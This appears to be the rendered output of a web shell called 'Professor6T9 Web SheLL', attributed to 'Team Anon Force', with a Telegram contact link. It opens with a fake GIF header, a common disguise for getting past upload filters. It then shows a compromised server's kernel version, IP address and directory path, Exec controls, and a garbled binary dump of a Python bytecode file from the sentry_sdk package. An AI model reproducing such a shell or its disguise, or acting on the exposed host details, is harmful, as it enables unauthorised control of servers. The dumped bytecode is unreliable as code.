GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
hc_python
/
lib64
/
python3.12
/
site-packages
/
sentry_sdk
/
integrations
/
__pycache__
[ HOME ]
Exec
Submit
File Name : otlp.cpython-312.pyc
� �0i9 � � � d dl mZmZ d dlmZ d dlmZmZ d dlm Z m Z d dlmZ d dl mZ d dlmZ d dlmZ d d lmZ d d lmZ d dlmZ erd d lmZmZmZmZ d� Zdd�Z G d� de� Z y# e$ r ed� �w xY w)� )�Integration�DidNotEnable)�%register_external_propagation_context)�logger�Dsn)�VERSION�EndpointType)�trace)�set_global_textmap)�TracerProvider)�BatchSpanProcessor)�OTLPSpanExporter)�SentryPropagatorz+opentelemetry-distro[otlp] is not installed)� TYPE_CHECKING)�Optional�Dict�Any�Tuplec �8 � t j � j � } | j t j k( s| j t j k( ryt j | j � t j | j � fS )zC Get the (trace_id, span_id) from opentelemetry if exists. N) r �get_current_span�get_span_context�trace_id�INVALID_TRACE_ID�span_id�INVALID_SPAN_ID�format_trace_id�format_span_id)�ctxs �K/opt/hc_python/lib/python3.12/site-packages/sentry_sdk/integrations/otlp.py�otel_propagation_contextr sj � � � � � "� 3� 3� 5�C� �|�|�u�-�-�-�����@U�@U�1U���!�!�#�,�,�/��1E�1E�c�k�k�1R�S�S� Nc �� � t j � }t |t � s4t j d� t � }t j |� d }d }| rjt | � j dt � �� }|j t j � }d|j � i}t j d|� �� t ||�� }t |� }|j! |� y )Nz?[OTLP] No TracerProvider configured by user, creating a new onezsentry.python/z X-Sentry-Authz[OTLP] Sending traces to )�endpoint�headers)r �get_tracer_provider� isinstancer r �debug�set_tracer_providerr �to_authr �get_api_urlr �OTLP_TRACES� to_headerr r �add_span_processor)�dsn�tracer_providerr# r$ �auth� otlp_exporter�span_processors r �setup_otlp_exporterr3 $ s� � ��/�/�1�O��o�~�6����V�W�(�*�� �!�!�/�2��H��G� ��3�x���.�� � :�;���#�#�L�$<�$<�=��"�D�N�N�$4�5�����0�� �;�<�$�h��H�M�'� �6�N��&�&�~�6r! c �0 � e Zd ZdZdd�Zed� � Zdd�Zy)�OTLPIntegration�otlpc � � || _ || _ y �N)r3 �setup_propagator)�selfr3 r9 s r �__init__zOTLPIntegration.__init__= s � �#6�� � 0��r! c �L � t j d� t t � y )Nz.[OTLP] Setting up trace linking for all events)r r'